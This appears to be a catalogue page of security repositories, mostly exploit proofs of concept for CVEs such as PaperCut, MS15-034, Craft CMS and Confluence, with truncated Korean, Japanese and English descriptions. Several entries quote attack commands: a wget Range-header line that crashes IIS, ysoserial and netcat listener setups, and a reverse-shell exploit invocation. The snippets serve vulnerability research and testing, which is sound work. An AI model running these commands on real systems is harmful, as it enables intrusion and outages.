CVE-2023-27350

CVE-2023-27350 CVE-2023-27350에 영향을 받는 PaperCut MF/NG를 위한 POC 기술적 분석 취약점의 기술적 근본 원인 분석, 침해 지표, 인터넷 노출 현황은 당사 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise 요약 이 POC는 인증 우회 취약점과 내장 스크립팅 기능 악용을 연쇄적으로 사용하여 코드를 실행합니다. 사용법 python3...

MS15-034

MS15-034 MS15-034 POC "현재 IIS 서버 버전은 알려진 취약점CVE-2015-1635, MS15-034이 존재하는 취약한 버전으로 해당 취약점을 활용할 시 원격 코드 실행 혹은 블루스크린 유발 등의 공격에 당할 위험이 존재한다. 테스트 구문 : wget --header=""Range: bytes=0-18446744073709551615"" 블루스크린 유발 공격 구문 : wget --header=""Range: bytes=18-18446744073709551615"" ※...

semgrep-rules

elttam の semgrep-rules elttam の公開 semgrep ルールリポジトリへようこそ。 !semgrep ルールht...

EUVD-2026-95101

Obsidian Desktop before 1.14.0 contains a filter bypass vulnerability in the bundled MathJax 3.2.2 Safe component that allows attackers to execute arbitrary code by embedding a crafted \href value with a TAB byte in the URL scheme, causing filterURL to produce an empty protocol that bypasses the...

CVE-2026-58025

CVE-2026-58025 — 로그 항목 가져오기를 통한 MediaWiki PHP 역직렬화 RCE WikiImporter → LogEntryBase::extractParams → unserialize 사용자 제어 logparams → RCE 개요 CVE-2026-58025 는 MediaWiki위키미디어 재단에서 발생하는 치명적인CVSS 9.8 신뢰할 수 없는 데이터 역직렬화 취약점입니다. LogEntryBase::extractParams 메서드는 인스턴스화할 수 있는 PHP 클래스를 제한하지 않고 사용자 제어 로그 항목 매개변...

CVE-2023-45185

CVE-2023-45184 IBM i Access Client Solutions 1.1.9.4 - 안전하지 않은 역직렬화를 통한 원격 코드 실행 타임라인 벤더에 취약점 보고: 22.09.2023 수정된 1.1.9.4 버전 출시: 08.12.2023 공개 공개: 15.12.2023 설명 IBM i Access Client Solutions는 비밀번호 저장 및 비밀번호 암호화를 위한 복호화 키 획득에 안전하지 않은 역직렬화를 사용합니다. 이는 로컬 또는 원격 공격자가 코드를 실행하는 데 사용될 수 있습니다. 로컬 서버는 netst...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP — 성공적으로 셸 획득 가능 이 문서 및 도구는 기술 공유 목적으로만 제공되며, 불법적인 용도로 사용하는 것을 엄격히 금지합니다. 위반 시 발생하는 모든 결과는 사용자 본인이 책임집니다. 명령 실행 EXP 트리거 1. VPS에서 RMI 리스너를 9999 포트로 시작 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '실행할 명령' 2. VPS에서 nc 리스너를 64444 포트로...

weblogic_2019_2725_wls_batch

weblogic20192725wlsbatch weblogic CVE-2019-2725 취약점 Exp, wls-wsat 구성 요소에 대한 취약점, 세 개의 exp를 사용하여 일괄 탐지합니다. 당시 작성할 때 많이 생각하지 않고 취약점이 존재하는지만 확인하면 끝이었습니다. 따라서 스크립트의 기능은 취약점이 존재하는 시스템에 whoami 명령어 결과를 출력하는 것입니다. 사용법 python3 weblogicbatchV1.0.py 대상을 target.txt에 넣고, 한 줄에 하나씩. 예시 단일 검증...

flawfinder

About This is "flawfinder" by David A. Wheeler. Flawfinder is a simple program that scans C/C++ source code and reports potential security flaws. It can be a useful tool for examining software for vulnerabilities, and it can also serve as a simple introduction to static source code analysis tools...

CVE-2024-38063-poc

실제 PoC가 https://github.com/ynwarcs/CVE-2024-38063 에 공개되었으며 제 코드에도 업데이트했습니다. 이는 시스템을 충돌시킬 수 있으므로 VM을 사용하거나 학습 목적으로만 사용하세요. 코드를 수정하여 RCE를 얻을 수 있습니다. 사용법 iface 대부분 기본적으로 활성화되어 있습니다. 자세한 내용은 CVE-2024-38063-poc.py 를 확인하세요. 발견자 https://x.com/XiaoWei 코드/POC 크레딧 = @ynwarcs 감사합니다! Chirag Artani...

Monitorizer

Monitorizer 최고의 서브도메인 모니터링 프레임워크 설치 ❗ 면책 조항 --- 관리자 사용자는 로컬 서버에서 코드를 실행할 수 있습니다. 기본 비밀번호를 반드시 변경하십시오. 변경하지 않으면 본인의 책임 하에 사용하시기 바랍니다. Docker 사용하기 $ curl https://raw.githubusercontent.com/BitTheByte/Monitorizer/main/docker-compose.yml | docker compose -f - up 기본 자격 증명: 모든 준비가 완료되면...

struts2_cve-2017-5638

struts2cve-2017-5638 이는 https://www.exploit-db.com/exploits/41570/에 있는 Python 익스플로잇의 Java 포팅입니다. 이 소프트웨어는 외부 종속성 없이 작성되었습니다. 면책 조항 이 도구는 보안 엔지니어와 앱시큐어 담당자가 보안 평가를 위해 사용하도록 설계되었습니다. 이 도구를 책임감 있게 사용해 주십시오. 이 응용 프로그램을 사용하는 방식에 대해 책임을 지지 않습니다. 이 도구를 사용하여 발생한 손해나 저지른 범죄에 대해 책임을 지지 않습니다. 취약점 정보 CVE-ID ...

CVE-2022-24112

Apache APISIX 2.12.x 원격 코드 실행 RCE 익스플로잇 이 Python 스크립트는 Apache APISIX 버전 2.12.0 및 2.12.1의 원격 코드 실행RCE 취약점에 대한 개념 증명PoC입니다. 이 취약점은 관리 API 내의 filterfunc Lua 필드의 오용에 있으며, 공격자가 io.popen을 통해 시스템 명령을 실행하는 임의의 Lua 코드를 주입할 수 있습니다. 명령의 응답은 ngx.say를 사용하여 HTTP 응답으로 반환됩니다. ⚠️ 면책 조항 : 이 도구는 승인된 테스트 및 교육 목적으로만...

Craft-CMS-Exploit

This Python 스크립트는 인기 있는 콘텐츠 관리 시스템인 Craft CMS의 원격 코드 실행 취약점CVE-2023-41892을 악용합니다. 이 취약점은 4.0.0-RC1부터 4.4.14 사이의 버전에 영향을 미치며, 공격자가 PHP 리버스 셸과 같은 임의의 코드를 원격으로 실행할 수 있게 합니다. 사용법 먼저 다른 셸에서 netcat 리스너를 시작하세요: nc -nlvp 1234 그런 다음 IP 주소를 확인하고 익스플로잇을 실행하세요: python3 exploit.py -r 10.10.16.47 -p 1234...

CVE-2024-7120

Raisecom デバイス コマンドインジェクション CVE-2024-7120 概念実証! 概要 RAISECOM Gateway デバイス（モデル MSG1200、MSG2100E、MSG2200、MSG2300）においてコマンドインジェクションの脆弱性が確認されました。この脆弱性により、リモートの攻撃者が Web インターフェースを介してシステム上で任意のコマンドを実行できます。問題は listbaseconfig.php スクリプト内、特に template パラメータにあり、インターネット上の 25,112 台以上のデバイスに影響を及ぼします。 ✔ FOFA :...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server 원격 코드 실행 취약점 ProxyShell Exploit 재현 https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ 이것은 사이버 무기가 아니라 실험용 PoC입니다...

offensive-azure

Microsoft Azure를 대상으로 한 공격 도구 모음으로, 플랫폼에 구애받지 않도록 Python으로 작성되었습니다. 현재 도구 목록과 간략한 기능 설명은 아래에서 확인할 수 있습니다. ./DeviceCode/devicecodeeasymode.py 대상 사용자가 입력할 코드를 생성합니다. 일반 토큰 생성 또는 피싱/사회공학 캠페인에 사용할 수 있습니다. ./AccessTokens/tokenjuggle.py 다양한 방법으로 리프레시 토큰을 입력받아 지정된 리소스에 대한 새 리프레시 토큰과 액세스 토큰을 검색합니다...

CVE-2022-26134

pip3 install -r requirements.txt 사용: python3 exp.py url "cmd" 예시: python3 exp.py http://192.168.1.1/ whoami...

APKHunt

APKHunt | OWASP MASVS 静的解析ツール APKHuntは、OWASP MASVSフレームワークに基づいたAndroidアプリ向けの包括的な静的コード解析ツールです。主にモバイルアプリ開発者やセキュリティテスター向けに設計されていますが、誰でもコード内の潜在的なセキュリティ脆弱性を特定し対処するために使用できます。...

cve-2024-7646

CVE-2024-7646 설명 기본적으로 nginx.ingress.kubernetes.io/server-snippet은 비활성화되어 있지만, 이 CVE로 인해 nginx.ingress.kubernetes.io/auth-tls-verify-client를 통해 사용자 지정 스니펫을 삽입하거나 Lua 코드까지 포함할 수 있습니다. 수정 버전 ingress-nginx controller v1.11.2 - kubernetes/ingress-nginx11719 및 kubernetes/ingress-nginx11721로 수정됨...